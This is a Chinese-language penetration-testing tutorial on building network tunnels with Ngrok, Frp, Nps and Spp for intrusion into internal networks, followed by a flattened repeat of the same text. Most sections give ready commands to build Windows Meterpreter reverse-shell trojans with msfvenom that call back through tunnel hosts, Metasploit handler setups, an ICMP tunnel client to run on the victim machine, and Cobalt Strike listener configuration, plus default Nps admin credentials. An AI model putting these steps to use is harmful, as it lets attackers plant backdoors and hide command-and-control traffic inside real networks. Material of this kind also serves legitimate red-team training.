内网渗透| 隧道穿透的搭建从简单到高阶
字数 1061 2025-08-10 23:42:01

内网渗透隧道穿透技术详解

1. 内网穿透概述

内网穿透是一种将内网服务暴露到公网的技术,主要用于内网渗透测试、远程控制等场景。本文详细介绍四种主流内网穿透工具:Ngrok、Frp、Nps和Spp的使用方法。

2. Ngrok 内网穿透

2.1 服务端配置

  1. 访问 Ngrok官网
  2. 开通隧道:
    • 选择TCP或HTTP/HTTPS协议
    • 设置指向的IP和端口
    • 开通隧道获取隧道ID

2.2 客户端连接

./sunny clientid <隧道ID>

2.3 生成后门与监听

  1. 生成木马:

    # HTTP协议
    msfvenom -p windows/meterpreter/reverse_http lhost=yeye.gz2vip.91tunnel.com lport=80 -f exe -o httpNgo.exe
    
    # TCP协议
    msfvenom -p windows/meterpreter/reverse_tcp lhost=<隧道地址> lport=<隧道端口> -f exe -o tcpNgo.exe
    
  2. MSF监听设置:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http  # 或reverse_tcp
    set lhost 0.0.0.0
    set lport 8888  # 与隧道配置的本地端口一致
    run
    

3. Frp 内网穿透

3.1 服务端配置

  1. 下载Frp:GitHub地址
  2. 修改frps.ini:
    [common]
    bind_port = 7000
    
  3. 启动服务端:
    ./frps -c ./frps.ini
    

3.2 客户端配置

  1. 修改frpc.ini:
    [common]
    server_addr = 服务器IP
    server_port = 7000
    
    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 5555  # 本地接收端口(MSF监听端口)
    remote_port = 6000  # 靶机连接VPS的端口
    
  2. 启动客户端:
    ./frpc -c ./frpc.ini
    

3.3 生成后门与监听

  1. 生成木马:

    msfvenom -p windows/meterpreter/reverse_tcp lhost=服务器IP lport=6000 -f exe -o frp.exe
    
  2. MSF监听设置:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 127.0.0.1
    set LPORT 5555
    exploit
    

4. Nps 内网穿透

4.1 服务端配置

  1. 下载Nps:GitHub地址
  2. 启动服务端:
    ./nps install
    ./nps
    
  3. 访问管理界面:http://IP:8080/ (默认账号/密码:admin/123)
  4. 创建客户端并生成密钥
  5. 添加隧道:
    • 远程绑定端口:5566
    • 指向本地端口:6666

4.2 客户端连接

  1. 使用生成的命令连接服务端
  2. 生成后门:
    msfvenom -p windows/meterpreter/reverse_tcp lhost=服务端IP lport=服务端端口 -f exe -o nps.exe
    
  3. MSF监听:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 0.0.0.0
    set LPORT 6666
    run
    

5. Spp 内网穿透(特殊协议)

5.1 服务端配置

  1. 下载Spp:GitHub地址
  2. 启动服务端:
    ./spp -type server -proto ricmp -listen 0.0.0.0
    

5.2 客户端配置

  1. 在靶机运行:
    spp -name "test" -type proxy_client -server 服务器IP -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
    
    • -fromaddr: 客户端木马端口
    • -toaddr: 服务器端木马端口

5.3 Cobalt Strike配置

  1. 监听器A:
    • 服务器IP:8081(接收数据端口)
  2. 监听器B:
    • HTTP 127.0.0.1:8082(木马发送数据端口)
  3. 生成后门使用监听器B,上线后显示为监听器A

6. 总结对比

工具 支持协议 特点 适用场景
Ngrok TCP/HTTP/HTTPS 简单易用,有免费服务 快速搭建测试环境
Frp TCP/UDP/HTTP/HTTPS 自建服务,灵活配置 长期稳定穿透需求
Nps TCP/UDP 带Web管理界面,功能丰富 需要可视化管理
Spp TCP/UDP/ICMP/HTTP/KCP/QUIC 支持非常规协议 严格网络环境穿透

选择建议:

  1. 常规环境优先选择Frp或Nps
  2. 受限网络环境考虑Spp的ICMP/DNS等协议
  3. 快速测试可使用Ngrok的免费服务
内网渗透隧道穿透技术详解 1. 内网穿透概述 内网穿透是一种将内网服务暴露到公网的技术,主要用于内网渗透测试、远程控制等场景。本文详细介绍四种主流内网穿透工具:Ngrok、Frp、Nps和Spp的使用方法。 2. Ngrok 内网穿透 2.1 服务端配置 访问 Ngrok官网 开通隧道: 选择TCP或HTTP/HTTPS协议 设置指向的IP和端口 开通隧道获取隧道ID 2.2 客户端连接 2.3 生成后门与监听 生成木马: MSF监听设置: 3. Frp 内网穿透 3.1 服务端配置 下载Frp: GitHub地址 修改frps.ini: 启动服务端: 3.2 客户端配置 修改frpc.ini: 启动客户端: 3.3 生成后门与监听 生成木马: MSF监听设置: 4. Nps 内网穿透 4.1 服务端配置 下载Nps: GitHub地址 启动服务端: 访问管理界面: http://IP:8080/ (默认账号/密码:admin/123) 创建客户端并生成密钥 添加隧道: 远程绑定端口:5566 指向本地端口:6666 4.2 客户端连接 使用生成的命令连接服务端 生成后门: MSF监听: 5. Spp 内网穿透(特殊协议) 5.1 服务端配置 下载Spp: GitHub地址 启动服务端: 5.2 客户端配置 在靶机运行: -fromaddr : 客户端木马端口 -toaddr : 服务器端木马端口 5.3 Cobalt Strike配置 监听器A: 服务器IP:8081(接收数据端口) 监听器B: HTTP 127.0.0.1:8082(木马发送数据端口) 生成后门使用监听器B,上线后显示为监听器A 6. 总结对比 | 工具 | 支持协议 | 特点 | 适用场景 | |-------|---------|------|---------| | Ngrok | TCP/HTTP/HTTPS | 简单易用,有免费服务 | 快速搭建测试环境 | | Frp | TCP/UDP/HTTP/HTTPS | 自建服务,灵活配置 | 长期稳定穿透需求 | | Nps | TCP/UDP | 带Web管理界面,功能丰富 | 需要可视化管理 | | Spp | TCP/UDP/ICMP/HTTP/KCP/QUIC | 支持非常规协议 | 严格网络环境穿透 | 选择建议: 常规环境优先选择Frp或Nps 受限网络环境考虑Spp的ICMP/DNS等协议 快速测试可使用Ngrok的免费服务